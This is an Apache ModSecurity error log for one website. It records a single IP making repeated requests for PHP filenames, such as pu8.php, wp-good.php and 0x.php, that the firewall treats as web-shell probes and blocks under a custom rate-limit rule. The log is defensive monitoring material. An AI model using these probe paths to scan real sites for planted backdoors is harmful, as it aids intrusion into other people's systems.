[Thu Dec 25 15:20:41.089198 2025] [:error] [pid 31569:tid 31584] [client 4.241.194.62:21994] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xenium4.php"] [unique_id "aUzlyWiSFBH7Ee_uldWUAQAAAAs"]
[Thu Dec 25 15:20:42.238205 2025] [:error] [pid 31569:tid 31593] [client 4.241.194.62:2302] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xenium4.php"] [unique_id "aUzlymiSFBH7Ee_uldWUAwAAABQ"]
[Thu Dec 25 15:20:43.608383 2025] [:error] [pid 31569:tid 31577] [client 4.241.194.62:2062] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xenium4.php"] [unique_id "aUzly2iSFBH7Ee_uldWUBgAAAAQ"]
[Thu Dec 25 15:20:44.833130 2025] [:error] [pid 2996:tid 3016] [client 4.241.194.62:2111] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xenium4.php"] [unique_id "aUzlzKrrTp0EWNyhaIT5nQAAARI"]
[Thu Dec 25 15:20:45.909532 2025] [:error] [pid 31655:tid 31662] [client 4.241.194.62:24786] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pu8.php"] [unique_id "aUzlzZozPMk9HPtIJPNj-wAAAMU"]
[Thu Dec 25 15:20:47.004785 2025] [:error] [pid 31569:tid 31582] [client 4.241.194.62:2393] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pu8.php"] [unique_id "aUzlz2iSFBH7Ee_uldWUFAAAAAk"]
[Thu Dec 25 15:20:47.991105 2025] [:error] [pid 2996:tid 3007] [client 4.241.194.62:2385] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pu8.php"] [unique_id "aUzlz6rrTp0EWNyhaIT5yAAAAQk"]
[Thu Dec 25 15:21:37.097869 2025] [:error] [pid 2996:tid 2999] [client 4.241.194.62:20733] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aUzmAarrTp0EWNyhaIT6IwAAAQE"]
[Thu Dec 25 15:21:37.522121 2025] [:error] [pid 31655:tid 31671] [client 4.241.194.62:2588] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aUzmAZozPMk9HPtIJPNkSwAAAM4"]
[Thu Dec 25 15:21:38.189874 2025] [:error] [pid 31569:tid 31574] [client 4.241.194.62:16041] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aUzmAmiSFBH7Ee_uldWUTQAAAAE"]
[Thu Dec 25 15:21:38.575713 2025] [:error] [pid 31569:tid 31588] [client 4.241.194.62:2575] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aUzmAmiSFBH7Ee_uldWUTgAAAA8"]
[Thu Dec 25 15:21:38.892156 2025] [:error] [pid 31655:tid 31678] [client 4.241.194.62:2924] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aUzmApozPMk9HPtIJPNkUgAAANU"]
[Thu Dec 25 15:21:39.421939 2025] [:error] [pid 31571:tid 31633] [client 4.241.194.62:19966] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aUzmA-7e_lLK2X5wU8l_IAAAAIY"]
[Thu Dec 25 15:21:40.435175 2025] [:error] [pid 2996:tid 3017] [client 4.241.194.62:11494] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aUzmBKrrTp0EWNyhaIT6JAAAARM"]
[Thu Dec 25 15:21:42.109104 2025] [:error] [pid 31570:tid 31609] [client 4.241.194.62:11465] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aUzmBmPy2DpAzW_4a2gNOgAAAEk"]
[Thu Dec 25 15:21:43.085354 2025] [:error] [pid 2996:tid 3010] [client 4.241.194.62:24286] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file30.php"] [unique_id "aUzmB6rrTp0EWNyhaIT6KQAAAQw"]
[Thu Dec 25 15:21:44.173710 2025] [:error] [pid 31655:tid 31677] [client 4.241.194.62:3002] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file30.php"] [unique_id "aUzmCJozPMk9HPtIJPNkVQAAANQ"]
[Thu Dec 25 15:21:44.531960 2025] [:error] [pid 31569:tid 31595] [client 4.241.194.62:15583] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file30.php"] [unique_id "aUzmCGiSFBH7Ee_uldWUVAAAABY"]
[Thu Dec 25 15:21:45.467262 2025] [:error] [pid 31571:tid 31636] [client 4.241.194.62:24256] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file30.php"] [unique_id "aUzmCe7e_lLK2X5wU8l_IwAAAIk"]
[Thu Dec 25 15:21:46.733765 2025] [:error] [pid 2996:tid 3002] [client 4.241.194.62:11463] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clss.php"] [unique_id "aUzmCqrrTp0EWNyhaIT6NQAAAQQ"]
[Thu Dec 25 15:21:48.319133 2025] [:error] [pid 31655:tid 31680] [client 4.241.194.62:24311] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clss.php"] [unique_id "aUzmDJozPMk9HPtIJPNkVwAAANc"]
[Thu Dec 25 15:21:49.565748 2025] [:error] [pid 31655:tid 31673] [client 4.241.194.62:16054] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clss.php"] [unique_id "aUzmDZozPMk9HPtIJPNkWQAAANA"]
[Thu Dec 25 15:21:50.461838 2025] [:error] [pid 31571:tid 31641] [client 4.241.194.62:24257] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clss.php"] [unique_id "aUzmDu7e_lLK2X5wU8l_JQAAAI4"]
[Thu Dec 25 15:21:52.246465 2025] [:error] [pid 31571:tid 31650] [client 4.241.194.62:16015] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "aUzmEO7e_lLK2X5wU8l_KAAAAJc"]
[Thu Dec 25 15:21:53.059335 2025] [:error] [pid 31571:tid 31647] [client 4.241.194.62:2897] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "aUzmEe7e_lLK2X5wU8l_KwAAAJQ"]
[Thu Dec 25 15:21:54.881773 2025] [:error] [pid 31569:tid 31574] [client 4.241.194.62:2993] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "aUzmEmiSFBH7Ee_uldWUWAAAAAE"]
[Thu Dec 25 15:21:56.311962 2025] [:error] [pid 31569:tid 31577] [client 4.241.194.62:2560] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "aUzmFGiSFBH7Ee_uldWUXAAAAAQ"]
[Thu Dec 25 15:21:57.746667 2025] [:error] [pid 2996:tid 2999] [client 4.241.194.62:15557] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aUzmFarrTp0EWNyhaIT6RAAAAQE"]
[Thu Dec 25 15:21:58.862673 2025] [:error] [pid 31655:tid 31676] [client 4.241.194.62:11298] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aUzmFpozPMk9HPtIJPNkZQAAANM"]
[Thu Dec 25 15:22:00.998382 2025] [:error] [pid 31571:tid 31634] [client 4.241.194.62:2569] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aUzmGO7e_lLK2X5wU8l_LgAAAIc"]
[Thu Dec 25 15:22:02.281836 2025] [:error] [pid 31655:tid 31665] [client 4.241.194.62:2609] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aUzmGpozPMk9HPtIJPNkaAAAAMg"]
[Thu Dec 25 15:22:03.823833 2025] [:error] [pid 31569:tid 31595] [client 4.241.194.62:15539] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aUzmG2iSFBH7Ee_uldWUYQAAABY"]
[Thu Dec 25 15:22:05.776069 2025] [:error] [pid 31655:tid 31672] [client 4.241.194.62:11266] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aUzmHZozPMk9HPtIJPNkbQAAAM8"]
[Thu Dec 25 15:22:08.204634 2025] [:error] [pid 31571:tid 31644] [client 4.241.194.62:15571] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aUzmIO7e_lLK2X5wU8l_MgAAAJE"]
[Thu Dec 25 15:22:09.824924 2025] [:error] [pid 31571:tid 31637] [client 4.241.194.62:2953] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aUzmIe7e_lLK2X5wU8l_NQAAAIo"]
[Thu Dec 25 15:22:12.283279 2025] [:error] [pid 2996:tid 3012] [client 4.241.194.62:16063] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aUzmJKrrTp0EWNyhaIT6VAAAAQ4"]
[Thu Dec 25 15:22:13.968750 2025] [:error] [pid 2996:tid 3006] [client 4.241.194.62:11314] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aUzmJarrTp0EWNyhaIT6WwAAAQg"]
[Thu Dec 25 15:22:15.879926 2025] [:error] [pid 31571:tid 31630] [client 4.241.194.62:15495] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aUzmJ-7e_lLK2X5wU8l_NgAAAIM"]
[Thu Dec 25 15:22:18.628181 2025] [:error] [pid 2996:tid 3018] [client 4.241.194.62:2927] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aUzmKqrrTp0EWNyhaIT6YQAAARQ"]
[Thu Dec 25 15:22:21.208125 2025] [:error] [pid 31569:tid 31574] [client 4.241.194.62:17472] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aUzmLWiSFBH7Ee_uldWUcwAAAAE"]
[Thu Dec 25 15:22:23.297400 2025] [:error] [pid 31655:tid 31670] [client 4.241.194.62:25146] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aUzmL5ozPMk9HPtIJPNkmAAAAM0"]
[Thu Dec 25 15:22:25.192915 2025] [:error] [pid 31571:tid 31636] [client 4.241.194.62:15504] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aUzmMe7e_lLK2X5wU8l_RAAAAIk"]
[Thu Dec 25 15:22:26.175320 2025] [:error] [pid 31569:tid 31590] [client 4.241.194.62:16017] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aUzmMmiSFBH7Ee_uldWUgwAAABE"]
[Thu Dec 25 15:22:28.077893 2025] [:error] [pid 31569:tid 31577] [client 4.241.194.62:16020] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atex1.php"] [unique_id "aUzmNGiSFBH7Ee_uldWUhgAAAAQ"]
[Thu Dec 25 15:22:30.061969 2025] [:error] [pid 31571:tid 31628] [client 4.241.194.62:16000] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atex1.php"] [unique_id "aUzmNu7e_lLK2X5wU8l_SQAAAIE"]
[Thu Dec 25 15:22:30.850060 2025] [:error] [pid 31569:tid 31594] [client 4.241.194.62:15493] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atex1.php"] [unique_id "aUzmNmiSFBH7Ee_uldWUiwAAABU"]
[Thu Dec 25 15:22:31.978428 2025] [:error] [pid 31571:tid 31642] [client 4.241.194.62:17530] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atex1.php"] [unique_id "aUzmN-7e_lLK2X5wU8l_TAAAAI8"]
[Thu Dec 25 15:22:32.882034 2025] [:error] [pid 31570:tid 31613] [client 4.241.194.62:25126] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-advaced.php"] [unique_id "aUzmOGPy2DpAzW_4a2gNUAAAAE0"]
[Thu Dec 25 15:22:34.046738 2025] [:error] [pid 31570:tid 31612] [client 4.241.194.62:11299] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-advaced.php"] [unique_id "aUzmOmPy2DpAzW_4a2gNUgAAAEw"]
[Thu Dec 25 15:23:21.287978 2025] [:error] [pid 31655:tid 31670] [client 4.241.194.62:11323] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kdgok.php"] [unique_id "aUzmaZozPMk9HPtIJPNlUwAAAM0"]
[Thu Dec 25 15:23:22.968608 2025] [:error] [pid 31571:tid 31627] [client 4.241.194.62:25089] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kdgok.php"] [unique_id "aUzmau7e_lLK2X5wU8l_ugAAAIA"]
[Thu Dec 25 15:23:24.795350 2025] [:error] [pid 31655:tid 31677] [client 4.241.194.62:15503] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kdgok.php"] [unique_id "aUzmbJozPMk9HPtIJPNlVAAAANQ"]
[Thu Dec 25 15:23:29.239434 2025] [:error] [pid 31571:tid 31645] [client 4.241.194.62:11288] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kdgok.php"] [unique_id "aUzmce7e_lLK2X5wU8l_wAAAAJI"]
[Thu Dec 25 15:23:32.958294 2025] [:error] [pid 31571:tid 31644] [client 4.241.194.62:25096] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aUzmdO7e_lLK2X5wU8l_1gAAAJE"]
[Thu Dec 25 15:23:33.287710 2025] [:error] [pid 31571:tid 31642] [client 4.241.194.62:17525] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aUzmde7e_lLK2X5wU8l_2AAAAI8"]
[Thu Dec 25 15:23:33.661847 2025] [:error] [pid 31570:tid 31620] [client 4.241.194.62:11300] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aUzmdWPy2DpAzW_4a2gNkgAAAFQ"]
